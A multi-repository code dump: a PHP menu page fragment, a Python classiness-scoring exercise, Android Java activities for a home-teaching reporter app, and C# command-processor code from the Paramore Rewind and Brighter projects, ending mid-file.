voluptatem. Sint aspernatur provident, rem odio dolorem eaque voluptatibus modi reprehenderit minima, itaque cupiditate totam.</p> </div> </div> <hr class="visible-xs"> </div> <div class="menu-item-tile col-md-6"> <div class="row"> <div class="col-sm-5"> <div class="menu-item-photo"> <div>D06</div> <img class="img-responsive" width="250" height="150" src="images/menu/B/B-1.jpg" alt="Item"> </div> <div class="menu-item-price">$10.95<span> (pint)</span> $14.95 <span>(quart)</span></div> </div> <div class="menu-item-description col-sm-7"> <h3 class="menu-item-title">Veal with Mixed Vegetables</h3> <p class="menu-item-details">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Eaque inventore esse minima incidunt impedit. Asperiores, voluptatem. Sint aspernatur provident, rem odio dolorem eaque voluptatibus modi reprehenderit minima, itaque cupiditate totam.</p> </div> </div> <hr class="visible-xs"> </div> <!-- Add after every 2nd menu-item-tile --> <div class="clearfix visible-lg-block visible-md-block"></div> </section> </div><!-- End of #main-content --> <code><?= __FILE__ ?></code> </div>
ab5c69e9e0f4f2ccaabfab2bff22800f1469e3fb
[ "PHP" ]
4
PHP
amusinger/uncle-sam
face12f21d22042a124c0668888cc4bd842442dc
00a71a7c53f4bbc0a18e7e9ce2cbaea77143c47d
refs/heads/master
<file_sep>class Classy(): def __init__(self): self.items = [] #This function adds the item to the items list. def fancy(self,item): self.items.append(item) # return (self.items) #This function gets the classiness. def get_classiness(self): classiness = 0 for stuff in range (len(self.items)): if self.items[stuff].lower() == "tophat": classiness +=2 elif self.items[stuff].lower() == "bowtie": classiness +=4 elif self.items[stuff].lower() == "monocle": classiness +=5 else: classiness +=0 return classiness me = Classy() print(me.get_classiness()) me.fancy('mat') me.fancy('Tophat') print(me.get_classiness()) me.fancy('bowtie') me.fancy('MoNOcle') me.fancy("fan") print(me.get_classiness())
fc7b811c9647e093b6ce16b4acfcb86a032188b0
[ "Python" ]
1
Python
WindWalker19/Data_Structures_and_Algorithms
1dab790c546a1e145420eb627e6de7eed4ef6ac2
d4b0e98ed79335d6ba8e639a1f23bb9d6cac3127
refs/heads/master
<repo_name>rabby29/HTreport<file_sep>/src/com/TechFiesta/htreport/adapter/StickyAdapter.java package com.TechFiesta.htreport.adapter; import com.TechFiesta.htreport.R; import se.emilsjolander.stickylistheaders.StickyListHeadersAdapter; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.BaseAdapter; import android.widget.TextView; import android.content.Context; public class StickyAdapter extends BaseAdapter implements StickyListHeadersAdapter { private String[] listData; private String [] headerList; private LayoutInflater inflater; public StickyAdapter(Context context) { inflater = LayoutInflater.from(context); listData = context.getResources().getStringArray(R.array.list_data); headerList=context.getResources().getStringArray(R.array.header_list); Log.d("length", " "+listData.length+" "+headerList.length ); } @Override public int getCount() { return listData.length; } @Override public Object getItem(int position) { return listData[position]; } @Override public long getItemId(int position) { return position; } @Override public View getView(int position, View convertView, ViewGroup parent) { ViewHolder holder; if (convertView == null) { holder = new ViewHolder(); convertView = inflater.inflate(R.layout.drawerlayout, parent, false); holder.text = (TextView) convertView.findViewById(R.id.drawerrow1); convertView.setTag(holder); } else { holder = (ViewHolder) convertView.getTag(); } holder.text.setText(listData[position]); return convertView; } @Override public View getHeaderView(int position, View convertView, ViewGroup parent) { HeaderViewHolder holder; int headerindex=0; if(position==0||position==1){ headerindex= 0; }else if(position>=2 && position<=6){ headerindex= 1; }else if(position>=7 && position<=10){ headerindex= 2; }else if(position>=11 && position<=15){ headerindex= 3; } if (convertView == null) { holder = new HeaderViewHolder(); convertView = inflater.inflate(R.layout.nav_menu_header, parent, false); holder.text = (TextView) convertView.findViewById(R.id.header_text); convertView.setTag(holder); } else { holder = (HeaderViewHolder) convertView.getTag(); } //set header text as first char in name String headerText = headerList[headerindex]; holder.text.setText(headerText); return convertView; } @Override public long getHeaderId(int position) { //return the first character of the country as ID because this is what headers are based upon //Log.d("index ", ""+position); if(position==0||position==1){ return 0; }else if(position>=2 && position<=6){ return 1; }else if(position>=7 && position<=10){ return 2; }else if(position>=11 && position<=15){ return 3; } return 0; } class HeaderViewHolder { TextView text; } class ViewHolder { TextView text; } }<file_sep>/src/com/TechFiesta/htreport/helper/Constants.java package com.TechFiesta.htreport.helper; public class Constants { public static final int REQUEST_TYPE_GET = 1; public static final int REQUEST_TYPE_POST = 2; public static final int REQUEST_TYPE_PUT = 3; public static final int REQUEST_TYPE_DELETE = 4; public static final String URLRoot="http://hometeachingreporter.com/test/controller/controller.php"; } <file_sep>/src/com/TechFiesta/htreport/CreateGroupActivity.java package com.TechFiesta.htreport; import java.util.ArrayList; import java.util.List; import org.apache.http.NameValuePair; import org.apache.http.message.BasicNameValuePair; import org.json.JSONArray; import org.json.JSONException; import org.json.JSONObject; import com.TechFiesta.htreport.helper.Constants; import com.TechFiesta.htreport.helper.JsonParser; import com.TechFiesta.htreport.helper.ServerResponse; import android.app.AlertDialog; import android.app.ProgressDialog; import android.content.DialogInterface; import android.os.AsyncTask; import android.os.Bundle; import android.support.v7.app.ActionBarActivity; import android.util.Log; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.view.View.OnClickListener; public class CreateGroupActivity extends ActionBarActivity { private ProgressDialog pDialog; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.create_group); pDialog = new ProgressDialog(CreateGroupActivity.this); final EditText grpNameField=(EditText) findViewById(R.id.groupe_name_edittext); final EditText firstNameField =(EditText)findViewById(R.id.first_name_edittext); final EditText lastNameField =(EditText)findViewById(R.id.last_name_edit_text); Button createBtn=(Button) findViewById(R.id.grp_page_create_btn); createBtn.setOnClickListener(new OnClickListener() { @Override public void onClick(View v) { // TODO Auto-generated method stub String grpName=grpNameField.getText().toString().trim(); String firstName=firstNameField.getText().toString().trim(); String lastName = lastNameField.getText().toString().trim(); if(grpName.isEmpty()){ alert("Enter Group Name",false); return; } if(firstName.isEmpty()){ alert("Enter First Name", false); return; } if(lastName.isEmpty()){ alert("Enter Last Name",false); return; } createGroup(grpName, firstName, lastName); } }); } void createGroup(String groupName,String firstName,String lastName){ } public class JoinGroupRequest extends AsyncTask<String, Void, String> { @Override protected void onPreExecute() { super.onPreExecute(); pDialog.setMessage("Loading..."); pDialog.setIndeterminate(true); pDialog.setCancelable(true); pDialog.show(); } @Override protected String doInBackground(String... arg) { Log.e("aea",""+ arg[0]+" "+arg[1]); List<NameValuePair> params=new ArrayList<NameValuePair>(); params.add(new BasicNameValuePair("command","userInfo")); params.add(new BasicNameValuePair("uid","1094")); ServerResponse response = JsonParser.retrieveServerData(Constants.REQUEST_TYPE_POST, Constants.URLRoot, params, null, null); if (response.getStatus() == 200) { Log.d(">>>><<<<", "success in retrieving user info"); response.getjObj(); return response.getjObj(); } else return null; } @Override protected void onPostExecute(String str) { if (pDialog.isShowing()) pDialog.dismiss(); JSONArray jarray = null; try { jarray = new JSONArray(str); } catch (JSONException e) { // TODO Auto-generated catch block e.printStackTrace(); } if (jarray != null) { try { JSONObject job=jarray.getJSONObject(0); Log.d("Success", job.getString("FirstName")); } catch (JSONException e) { // TODO Auto-generated catch block alert("Connection error, please try again.",false); e.printStackTrace(); } } else { alert("Connection error, please try again.",false); } } } void alert(String message, final Boolean success) { AlertDialog.Builder bld = new AlertDialog.Builder(CreateGroupActivity.this); bld.setMessage(message); bld.setNeutralButton("OK", new DialogInterface.OnClickListener() { @Override public void onClick(DialogInterface dialog, int which) { if (success) finish(); } }); bld.create().show(); } } <file_sep>/src/com/TechFiesta/htreport/helper/ServerResponse.java package com.TechFiesta.htreport.helper; public class ServerResponse { String jObj; int status; public ServerResponse() { // TODO Auto-generated constructor stub } public ServerResponse(String jObj, int status) { this.jObj = jObj; this.status = status; } public String getjObj() { return jObj; } public void setjObj(String jObj) { this.jObj = jObj; } public int getStatus() { return status; } public void setStatus(int status) { this.status = status; } }
e555c5cdb4d60a0e51cbee7f07a36b3cadcb6728
[ "Java" ]
4
Java
rabby29/HTreport
7bc35251e7196f9bb137abbe9c69e3e05aa6300a
2bb8a4b178a331d78dbee6c07c7f60626a5005a3
refs/heads/master
<file_sep>using System; using System.Collections.Generic; using Paramore.Rewind.Core.Adapters.Repositories; using Paramore.Rewind.Core.Domain.Venues; using Raven.Client.Linq; namespace Paramore.Rewind.Core.Ports.ThinReadLayer { public class VenueReader : IAmAViewModelReader<VenueDocument> { private readonly bool allowStale; private readonly IAmAUnitOfWorkFactory unitOfWorkFactory; public VenueReader(IAmAUnitOfWorkFactory unitOfWorkFactory, bool allowStale = false) { this.unitOfWorkFactory = unitOfWorkFactory; this.allowStale = allowStale; } public IEnumerable<VenueDocument> GetAll() { IRavenQueryable<VenueDocument> venues; using (IUnitOfWork unitOfWork = unitOfWorkFactory.CreateUnitOfWork()) { venues = unitOfWork.Query<VenueDocument>(); if (!allowStale) { venues.Customize(x => x.WaitForNonStaleResultsAsOfLastWrite()); } } return venues; } public VenueDocument Get(Guid id) { using (IUnitOfWork unitOfWork = unitOfWorkFactory.CreateUnitOfWork()) { return unitOfWork.Load<VenueDocument>(id); } } } }<file_sep>using System.Collections; using System.Collections.Generic; using System.Linq; using Paramore.Rewind.Core.Domain.Venues; namespace Paramore.Rewind.Core.Domain.Meetings { public class Tickets : IEnumerable<Ticket> { private readonly IList<Ticket> _tickets = new List<Ticket>(); public Tickets(Capacity capacity) { for (int i = 1; i <= capacity; i++) { _tickets.Add(new Ticket()); } } public Tickets(IEnumerable<MeetingDocumentTickets> tickets) { _tickets = tickets.Select(ticket => new Ticket()).ToList(); } public int Count { get { return _tickets.Count; } } public IEnumerator<Ticket> GetEnumerator() { return _tickets.GetEnumerator(); } IEnumerator IEnumerable.GetEnumerator() { return GetEnumerator(); } #region Pesistence public List<MeetingDocumentTickets> ToDocumentSections() { return _tickets.Select(ticket => ticket.ToDocumentSection()).ToList(); } #endregion } }<file_sep>""" File :messaging.py Author : ian Created : 02-16-2015 Last Modified By : ian Last Modified On : 02-16-2015 *********************************************************************** The MIT License (MIT) Copyright © 2014 <NAME> <<EMAIL>> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. *********************************************************************** """ from enum import Enum def build_message(command): pass class ConfigurationCommandType(Enum): """ It is worth noting that these values much match those in Paramore\Brighter\paramore.brighter.serviceactivator\Ports\Commands\ConfigurationCommand.cs otherwise the sent message and the received message will not agree on the code. We could fix this to parse a string. """ CM_STOPALL = 0 CM_STARTALL = 1 CM_STOPCHANNEL = 2 CM_STARTCHANNEL = 3 <file_sep>using System.Collections.Generic; using Paramore.Rewind.Core.Adapters.Repositories; namespace paramore.rewind.adapters.presentation.api.Translators { internal interface ITranslator<TResource, TDocument> where TDocument: IAmADocument { TResource Translate(TDocument document); List<TResource> Translate(List<TDocument> documents); } }<file_sep>using Paramore.Rewind.Core.Domain.Venues; namespace Paramore.Rewind.Core.Domain.Meetings { public interface IIssueTickets { Tickets Issue(Capacity capacity); } }<file_sep>using Paramore.Rewind.Core.Adapters.Repositories; using Paramore.Rewind.Core.Domain.Venues; namespace Paramore.Rewind.Core.Domain.Meetings { public interface IScheduler { Meeting Schedule(Id meetingId, MeetingDate on, Id venue, Id speaker, Capacity capacity); } }<file_sep>using System.Threading; public interface IAmAMessageGatewaySupportingCache { /// <summary> /// Gets if the current provider configuration is able to support cached retrieval of messages. /// </summary> bool CacheSupported { get; } }<file_sep>using FakeItEasy; using Machine.Specifications; using paramore.brighter.commandprocessor; using paramore.brighter.commandprocessor.Logging; using paramore.commandprocessor.tests.CommandProcessors.TestDoubles; namespace paramore.commandprocessor.tests.CommandProcessors { [Subject("Basic event publishing")] public class When_publishing_an_event_to_the_processor { private static CommandProcessor s_commandProcessor; private static readonly MyEvent s_myEvent = new MyEvent(); private Establish _context = () => { var logger = A.Fake<ILog>(); var registry = new SubscriberRegistry(); registry.Register<MyEvent, MyEventHandler>(); var handlerFactory = new TestHandlerFactory<MyEvent, MyEventHandler>(() => new MyEventHandler(logger)); s_commandProcessor = new CommandProcessor(registry, handlerFactory, new InMemoryRequestContextFactory(), new PolicyRegistry(), logger); }; private Because _of = () => s_commandProcessor.Publish(s_myEvent); private It _should_publish_the_command_to_the_event_handlers = () => MyEventHandler.Shouldreceive(s_myEvent).ShouldBeTrue(); } }<file_sep>using paramore.commandprocessor; using Paramore.Rewind.Core.Adapters.Repositories; using Paramore.Rewind.Core.Domain.Venues; using Paramore.Rewind.Core.Ports.Commands.Venue; namespace Paramore.Rewind.Core.Ports.Handlers.Venues { public class AddVenueCommandHandler : RequestHandler<AddVenueCommand> { private readonly IRepository<Venue, VenueDocument> repository; private readonly IAmAUnitOfWorkFactory unitOfWorkFactory; public AddVenueCommandHandler(IRepository<Venue, VenueDocument> repository, IAmAUnitOfWorkFactory unitOfWorkFactory) { this.repository = repository; this.unitOfWorkFactory = unitOfWorkFactory; } public override AddVenueCommand Handle(AddVenueCommand command) { var venue = new Venue( version: new Version(), name: command.VenueName, address: command.Address, map: command.VenueMap, contact: command.Contact); using (IUnitOfWork unitOfWork = unitOfWorkFactory.CreateUnitOfWork()) { repository.UnitOfWork = unitOfWork; repository.Add(venue); unitOfWork.Commit(); } command.Id = venue.Id; return base.Handle(command); } } }<file_sep>using System.Data; using paramore.commandprocessor; using Paramore.Rewind.Core.Adapters.Repositories; using Paramore.Rewind.Core.Domain.Venues; using Paramore.Rewind.Core.Ports.Commands.Venue; namespace Paramore.Rewind.Core.Ports.Handlers.Venues { public class UpdateVenueCommandHandler : RequestHandler<UpdateVenueCommand> { private readonly IRepository<Venue, VenueDocument> repository; private readonly IAmAUnitOfWorkFactory unitOfWorkFactory; public UpdateVenueCommandHandler(IRepository<Venue, VenueDocument> repository, IAmAUnitOfWorkFactory unitOfWorkFactory) { this.repository = repository; this.unitOfWorkFactory = unitOfWorkFactory; } public override UpdateVenueCommand Handle(UpdateVenueCommand command) { using (IUnitOfWork uow = unitOfWorkFactory.CreateUnitOfWork()) { repository.UnitOfWork = uow; var venue = repository[command.Id]; if (venue.Version != command.Version) { throw new OptimisticConcurrencyException(string.Format("Expected version {0}, but aggregate is at version {1})", command.Version, venue.Version)); } venue.Update(command.VenueName, command.Address, command.Contact, command.VenueMap); uow.Commit(); } return base.Handle(command); } } }<file_sep>using paramore.commandprocessor; using Paramore.Rewind.Core.Adapters.Repositories; using Paramore.Rewind.Core.Domain.Common; using Paramore.Rewind.Core.Domain.Speakers; using Paramore.Rewind.Core.Ports.Commands.Speaker; namespace Paramore.Rewind.Core.Ports.Handlers.Speakers { public class AddSpeakerCommandHandler : RequestHandler<AddSpeakerCommand> { private readonly IRepository<Speaker, SpeakerDocument> repository; private readonly IAmAUnitOfWorkFactory unitOfWorkFactory; public AddSpeakerCommandHandler(IRepository<Speaker, SpeakerDocument> repository, IAmAUnitOfWorkFactory unitOfWorkFactory) { this.repository = repository; this.unitOfWorkFactory = unitOfWorkFactory; } public override AddSpeakerCommand Handle(AddSpeakerCommand command) { var speaker = new Speaker( phoneNumber: new PhoneNumber(command.PhoneNumber), bio: new SpeakerBio(command.Bio), emailAddress: new EmailAddress(command.Email), name: new SpeakerName(command.Name) ); using (IUnitOfWork unitOfWork = unitOfWorkFactory.CreateUnitOfWork()) { repository.UnitOfWork = unitOfWork; repository.Add(speaker); unitOfWork.Commit(); } command.Id = speaker.Id; return base.Handle(command); } } }<file_sep>using System; using paramore.brighter.commandprocessor.Logging; using Polly.CircuitBreaker; namespace paramore.brighter.commandprocessor.policy.Handlers { public class FallbackPolicyHandler<TRequest> : RequestHandler<TRequest> where TRequest : class, IRequest { /// <summary> /// The Key to the <see cref="IHandleRequests{TRequest}.Context"/> bag item that contains the exception initiating the fallback /// </summary> public const string CAUSE_OF_FALLBACK_EXCEPTION = "Fallback_Exception_Cause"; private Func<TRequest, TRequest> _exceptionHandlerFunc; /// <summary> /// Initializes a new instance of the <see cref="RequestHandler{TRequest}"/> class. /// </summary> public FallbackPolicyHandler() : this(LogProvider.GetCurrentClassLogger()) {} /// <summary> /// Initializes a new instance of the <see cref="RequestHandler{TRequest}"/> class. /// Use this if you need to inject a logger, for testing /// </summary> /// <param name="logger">The logger.</param> public FallbackPolicyHandler(ILog logger) : base(logger) {} #region Overrides of RequestHandler<TRequest> /// <summary> /// Initializes from attribute parameters. /// </summary> /// <param name="initializerList">The initializer list.</param> public override void InitializeFromAttributeParams(params object[] initializerList) { bool catchAll = Convert.ToBoolean(initializerList[0]); bool catchBrokenCircuit = Convert.ToBoolean(initializerList[1]); if (catchBrokenCircuit == true) { _exceptionHandlerFunc = CatchBrokenCircuit; } else if (catchAll == true) { _exceptionHandlerFunc = CatchAll; } else { _exceptionHandlerFunc = CatchNone; } } #endregion /// <summary> /// Catches any <see cref="Exception"/>s occurring in the pipeline and calls <see cref="IHandleRequests{TRequest}.Fallback"/> to allow handlers in the chain a chance to provide a fallback on failure /// The original exception is stored in the <see cref="IHandleRequests{TRequest}.Context"/> under the key <see cref="FallbackPolicyHandler{TRequest}.CAUSE_OF_FALLBACK_EXCEPTION"/> for probing /// by handlers in the pipeline called on fallback /// </summary> /// <param name="command">The command.</param> /// <returns>TRequest.</returns> public override TRequest Handle(TRequest command) { return _exceptionHandlerFunc(command); } private TRequest CatchAll(TRequest command) { try { return base.Handle(command); } catch (Exception exception) { Context.Bag.Add(CAUSE_OF_FALLBACK_EXCEPTION, exception); return base.Fallback(command); } } private TRequest CatchBrokenCircuit(TRequest command) { try { return base.Handle(command); } catch (BrokenCircuitException brokenCircuitExceptionexception) { Context.Bag.Add(CAUSE_OF_FALLBACK_EXCEPTION, brokenCircuitExceptionexception); return base.Fallback(command); } } private TRequest CatchNone(TRequest command) { return command; } } } <file_sep>#region Licence /* The MIT License (MIT) Copyright © 2015 <NAME> <<EMAIL>> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #endregion using System; using Newtonsoft.Json; using Newtonsoft.Json.Converters; namespace paramore.brighter.commandprocessor.monitoring.Events { public enum MonitorEventType { BrokenCircuit, EnterHandler, ExceptionThrown, ExitHandler, } public class MonitorEvent : Event { public Exception Exception { get; set; } [JsonConverter(typeof(StringEnumConverter))] public MonitorEventType EventType { get; private set; } public DateTime EventTime { get; private set; } public string HandlerName { get; private set; } public string InstanceName { get; set; } public string RequestBody { get; private set; } public MonitorEvent( string instanceName, MonitorEventType eventType, string handlerName, string requestBody, DateTime eventTime, Exception exception = null ) :base(Guid.NewGuid()) { InstanceName = instanceName; EventType = eventType; HandlerName = handlerName; RequestBody = requestBody; EventTime = eventTime; Exception = exception; } } } <file_sep>using Paramore.Rewind.Core.Domain.Venues; namespace Paramore.Rewind.Core.Domain.Meetings { public class TicketIssuer : IIssueTickets { public Tickets Issue(Capacity capacity) { return new Tickets(capacity); } } }<file_sep>using System; using Paramore.Rewind.Core.Domain.Venues; namespace Paramore.Rewind.Core.Domain.Meetings { public class FiftyPercentOverbookingPolicy : IAmAnOverbookingPolicy { private readonly IIssueTickets _ticketIssuer; public FiftyPercentOverbookingPolicy(IIssueTickets ticketIssuer) { _ticketIssuer = ticketIssuer; } public Tickets AllocateTickets(Capacity capacity) { var total = new Capacity(Convert.ToInt32((int) capacity*1.5)); return _ticketIssuer.Issue(total); } } }<file_sep>using System; using Paramore.Rewind.Core.Adapters.Repositories; namespace Paramore.Rewind.Core.Domain.Meetings { public class MeetingDocumentTickets : IAmPartOfADocument { public MeetingDocumentTickets() { } public MeetingDocumentTickets(Guid id) { Id = id; } public Guid Id { get; set; } public override string ToString() { return string.Format("Id: {0}", Id); } } }<file_sep>using System; using Machine.Specifications; using paramore.brighter.commandprocessor; using paramore.brighter.serviceactivator.Ports.Commands; using paramore.brighter.serviceactivator.Ports.Mappers; namespace paramore.commandprocessor.tests.ControlBus { public class When_mapping_to_a_wire_message_from_a_configuration_command { private static IAmAMessageMapper<ConfigurationCommand> s_mapper; private static Message s_message; private static ConfigurationCommand s_command; private Establish context = () => { s_mapper = new ConfigurationCommandMessageMapper(); //"{\"Type\":1,\"ConnectionName\":\"getallthethings\",\"Id\":\"XXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX\"}" s_command = new ConfigurationCommand(ConfigurationCommandType.CM_STARTALL) {ConnectionName = "getallthethings"}; }; private Because of = () => s_message = s_mapper.MapToMessage(s_command); private It should_serialize_the_command_type_to_the_message_body = () => s_message.Body.Value.Contains("\"Type\":1").ShouldBeTrue(); private It should_serialize_the_connection_name_to_the_message_body =() => s_message.Body.Value.Contains("\"ConnectionName\":\"getallthethings\"").ShouldBeTrue(); private It should_serialize_the_message_id_to_the_message_body = () => s_message.Body.Value.Contains(string.Format("\"Id\":\"{0}\"", s_command.Id)).ShouldBeTrue(); } public class When_mapping_from_a_configuration_command_from_a_message { private static IAmAMessageMapper<ConfigurationCommand> s_mapper; private static Message s_message; private static ConfigurationCommand s_command; private Establish context = () => { s_mapper = new ConfigurationCommandMessageMapper(); s_message = new Message( new MessageHeader(Guid.NewGuid(), "myTopic", MessageType.MT_EVENT), new MessageBody(string.Format("{{\"Type\":1,\"ConnectionName\":\"getallthethings\",\"Id\":\"{0}\"}}", Guid.NewGuid())) ); }; private Because of = () => s_command = s_mapper.MapToRequest(s_message); private It should_rehydrate_the_command_type = () => s_command.Type.ShouldEqual(ConfigurationCommandType.CM_STARTALL); private It should_rehydrate_the_connection_name = () => s_command.ConnectionName.ShouldEqual("getallthethings"); } } <file_sep>using System.Collections.Generic; using System.Linq; using paramore.rewind.adapters.presentation.api.Resources; using Paramore.Rewind.Core.Domain.Venues; namespace paramore.rewind.adapters.presentation.api.Translators { public class VenueTranslator : ITranslator<VenueResource, VenueDocument> { public VenueResource Translate(VenueDocument document) { return new VenueResource( document.Id, document.Version, document.VenueName, document.Address, document.VenueMap, document.VenueContact); } public List<VenueResource> Translate(List<VenueDocument> venues) { return venues.Select(venue => Translate(venue)).ToList(); } } }<file_sep>using System; using FakeItEasy; using Machine.Specifications; using paramore.brighter.commandprocessor; using paramore.brighter.commandprocessor.Logging; using paramore.commandprocessor.tests.CommandProcessors.TestDoubles; using TinyIoC; namespace paramore.commandprocessor.tests.CommandProcessors { [Subject("Commands should only have one handler")] public class When_there_are_multiple_possible_command_handlers { private static CommandProcessor s_commandProcessor; private static readonly MyCommand s_myCommand = new MyCommand(); private static Exception s_exception; private Establish _context = () => { var logger = A.Fake<ILog>(); var registry = new SubscriberRegistry(); registry.Register<MyCommand, MyCommandHandler>(); registry.Register<MyCommand, MyImplicitHandler>(); var container = new TinyIoCContainer(); var handlerFactory = new TinyIocHandlerFactory(container); container.Register<IHandleRequests<MyCommand>, MyCommandHandler>("DefaultHandler"); container.Register<IHandleRequests<MyCommand>, MyImplicitHandler>("ImplicitHandler"); container.Register<IHandleRequests<MyCommand>, MyLoggingHandler<MyCommand>>(); container.Register<ILog>(logger); s_commandProcessor = new CommandProcessor(registry, handlerFactory, new InMemoryRequestContextFactory(), new PolicyRegistry(), logger); }; private Because _of = () => s_exception = Catch.Exception(() => s_commandProcessor.Send(s_myCommand)); private It _should_fail_because_multiple_receivers_found = () => s_exception.ShouldBeAssignableTo(typeof(ArgumentException)); private It _should_have_an_error_message_that_tells_you_why = () => s_exception.ShouldContainErrorMessage("More than one handler was found for the typeof command paramore.commandprocessor.tests.CommandProcessors.TestDoubles.MyCommand - a command should only have one handler."); } }<file_sep>#region Licence /* The MIT License (MIT) Copyright © 2014 <NAME> <<EMAIL>> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #endregion using System.Configuration; namespace paramore.brighter.commandprocessor.monitoring.Configuration { public class MonitoringConfigurationSection : ConfigurationSection { public static MonitoringConfigurationSection GetConfiguration() { var configuration = ConfigurationManager.GetSection("monitoring") as MonitoringConfigurationSection ; if (configuration != null) return configuration; return new MonitoringConfigurationSection (); } [ConfigurationProperty("monitor")] public MonitorConfiguration Monitor { get { return this["monitor"] as MonitorConfiguration; } set { this["monitor"] = value; } } } public class MonitorConfiguration : ConfigurationElement { [ConfigurationProperty("isMonitoringEnabled", DefaultValue = "false", IsRequired = true)] public bool IsMonitoringEnabled { get { return (bool)this["isMonitoringEnabled"]; } set { this["isMonitoringEnabled"] = value; } } [ConfigurationProperty("instanceName", DefaultValue = "", IsRequired = true)] public string InstanceName { get { return (string) this["instanceName"]; } set { this["instanceName"] = value; } } } } <file_sep>using Paramore.Rewind.Core.Domain.Venues; namespace Paramore.Rewind.Core.Domain.Meetings { public interface IAmAnOverbookingPolicy { Tickets AllocateTickets(Capacity capacity); } }<file_sep>#region Licence /* The MIT License (MIT) Copyright © 2015 <NAME> <<EMAIL>> Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #endregion using System; using System.Collections.Generic; using paramore.brighter.commandprocessor; using paramore.brighter.commandprocessor.Logging; using paramore.brighter.serviceactivator.Ports; using paramore.brighter.serviceactivator.Ports.Commands; using paramore.brighter.serviceactivator.Ports.Handlers; using paramore.brighter.serviceactivator.ServiceActivatorConfiguration; using Polly; //Needs a different namespace to the DispatchBuilder to avoid collisions namespace paramore.brighter.serviceactivator.controlbus { /// <summary> /// Class ControlBusBuilder. /// </summary> public class ControlBusReceiverBuilder : INeedADispatcher, INeedAChannelFactory, IAmADispatchBuilder { /// <summary> /// The configuration /// </summary> public const string CONFIGURATION = "configuration"; /// <summary> /// The heartbeat /// </summary> public const string HEARTBEAT = "heartbeat"; private ILog _logger; private IAmAChannelFactory _channelFactory; private IDispatcher _dispatcher; /// <summary> /// The channel factory - used to create channels. Generally an implementation of a specific Application Layer i.e.RabbitMQ for AMQP /// needs to provide an implementation of this factory to provide input and output channels that support sending messages over that /// layer. We provide an implementation for RabbitMQ for example. /// </summary> /// <param name="channelFactory">The channel factory.</param> /// <returns>INeedAListOfConnections.</returns> public IAmADispatchBuilder ChannelFactory(IAmAChannelFactory channelFactory) { _channelFactory = channelFactory; return this; } public INeedAChannelFactory Dispatcher(IDispatcher dispatcher) { _dispatcher = dispatcher; return this; } /// <summary> /// Builds this instance. /// </summary> /// <param name="hostName">Name of the host.</param> /// <returns>Dispatcher.</returns> public Dispatcher Build(string hostName) { var connections = new List<ConnectionElement>(); /* * These are the control bus channels, we hardcode them because we want to know they exist, but we use a base naming scheme to allow centralized management. */ var configurationElement = new ConnectionElement { ChannelName = 